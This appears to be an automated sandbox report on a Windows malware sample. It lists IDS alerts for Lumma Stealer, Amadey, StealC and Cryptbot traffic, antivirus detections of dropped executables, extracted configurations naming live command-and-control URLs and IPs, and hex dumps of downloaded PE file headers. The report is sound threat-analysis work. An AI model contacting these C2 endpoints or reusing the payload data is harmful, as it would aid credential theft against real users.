2024-11-23T18:22:17.244699+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49771	172.67.162.84	443	TCP
2024-11-23T18:22:19.299810+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49778	172.67.162.84	443	TCP
2024-11-23T18:22:29.712318+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49805	172.67.162.84	443	TCP
2024-11-23T18:22:31.982887+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49812	172.67.162.84	443	TCP
2024-11-23T18:22:38.005095+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49830	172.67.162.84	443	TCP
2024-11-23T18:22:40.417421+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49840	172.67.162.84	443	TCP
2024-11-23T18:22:42.760545+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49848	172.67.162.84	443	TCP
2024-11-23T18:22:50.792360+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49886	172.67.162.84	443	TCP
2024-11-23T18:23:12.061559+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49946	172.67.162.84	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T18:22:17.244699+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49771	172.67.162.84	443	TCP
2024-11-23T18:22:29.712318+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49805	172.67.162.84	443	TCP
2024-11-23T18:22:38.005095+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49830	172.67.162.84	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T18:22:19.299810+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49778	172.67.162.84	443	TCP
2024-11-23T18:22:31.982887+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49812	172.67.162.84	443	TCP
2024-11-23T18:22:40.417421+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49840	172.67.162.84	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T18:22:45.002022+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49858	185.215.113.16	80	TCP
2024-11-23T18:22:52.511378+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49893	185.215.113.16	80	TCP
2024-11-23T18:23:14.334526+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49959	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T18:22:17.344270+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49772	185.215.113.43	80	TCP
2024-11-23T18:22:26.043535+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49794	185.215.113.43	80	TCP
2024-11-23T18:22:33.382505+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49819	185.215.113.43	80	TCP
2024-11-23T18:22:43.803153+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49854	185.215.113.43	80	TCP
2024-11-23T18:23:42.343372+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50079	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T18:24:08.079049+0100	2054350	1	A Network Trojan was detected	192.168.2.4	50153	34.116.198.130	80	TCP
2024-11-23T18:24:11.382067+0100	2054350	1	A Network Trojan was detected	192.168.2.4	50161	34.116.198.130	80	TCP
2024-11-23T18:24:40.324650+0100	2054350	1	A Network Trojan was detected	192.168.2.4	50201	34.116.198.130	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T18:22:37.867575+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49829	172.67.162.84	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T18:22:26.159902+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49793	185.215.113.206	80	TCP
2024-11-23T18:22:48.287621+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49871	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T18:22:05.976854+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49742	185.215.113.43	80	TCP
2024-11-23T18:27:10.825914+0100	2856147	1	A Network Trojan was detected	192.168.2.4	50268	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T18:22:16.002386+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49754	TCP
2024-11-23T18:23:40.992314+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	50010	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T18:22:10.470866+0100	2803305	3	Unknown Traffic	192.168.2.4	49755	185.215.113.16	80	TCP
2024-11-23T18:22:18.857932+0100	2803305	3	Unknown Traffic	192.168.2.4	49779	185.215.113.16	80	TCP
2024-11-23T18:22:27.651025+0100	2803305	3	Unknown Traffic	192.168.2.4	49800	185.215.113.16	80	TCP
2024-11-23T18:22:35.128364+0100	2803305	3	Unknown Traffic	192.168.2.4	49822	185.215.113.16	80	TCP
2024-11-23T18:23:30.166417+0100	2803305	3	Unknown Traffic	192.168.2.4	50016	31.41.244.11	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T18:22:48.421649+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49870	172.67.162.84	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000002.00000003.1779970897.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000008.00000002.2537402557.000000000138E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: d015c0e328.exe.5236.10.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": "https://property-imper.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 52%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.109.164:443 -> 192.168.2.4:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.109.164:443 -> 192.168.2.4:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49917 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49946 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50048 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50127 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.65.91:443 -> 192.168.2.4:50125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50132 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50134 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50195 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50193 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50194 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.85:443 -> 192.168.2.4:50212 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.85:443 -> 192.168.2.4:50214 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.85:443 -> 192.168.2.4:50224 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.20:443 -> 192.168.2.4:50230 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.17:443 -> 192.168.2.4:50249 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50254 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50256 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50253 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50255 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: d015c0e328.exe, 00000007.00000002.2927972288.0000000006402000.00000040.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2816413833.0000000008340000.00000004.00001000.00020000.00000000.sdmp

Source: chrome.exe	Memory has grown: Private usage: 1MB later: 29MB
Source: firefox.exe	Memory has grown: Private usage: 1MB later: 188MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49742 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49754
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49772 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49793 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49794 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49819 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49871 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49854 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:50010
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50079 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:50153 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:50161 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:50201 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:50268 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49805 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49805 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49812 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49812 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49778 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49778 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49829 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49848 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49830 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49830 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49870 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49840 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49840 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49886 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49771 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49771 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49946 -> 172.67.162.84:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: https://property-imper.sbs/api
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 36

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 17:22:10 GMTContent-Type: application/octet-streamContent-Length: 1857536Last-Modified: Sat, 23 Nov 2024 16:31:34 GMTConnection: keep-aliveETag: "67420366-1c5800"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 c0 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 49 00 00 04 00 00 28 1a 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 05 00 00 10 00 00 00 62 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 05 00 00 02 00 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 05 00 00 02 00 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2a 00 00 90 05 00 00 02 00 00 00 76 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 6b 7a 66 6f 76 63 67 00 c0 19 00 00 f0 2f 00 00 b8 19 00 00 78 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6a 67 67 68 6a 61 6f 00 10 00 00 00 b0 49 00 00 06 00 00 00 30 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 49 00 00 22 00 00 00 36 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 17:22:18 GMTContent-Type: application/octet-streamContent-Length: 1787392Last-Modified: Sat, 23 Nov 2024 16:31:41 GMTConnection: keep-aliveETag: "6742036d-1b4600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 c0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 68 00 00 04 00 00 b9 98 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2a 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 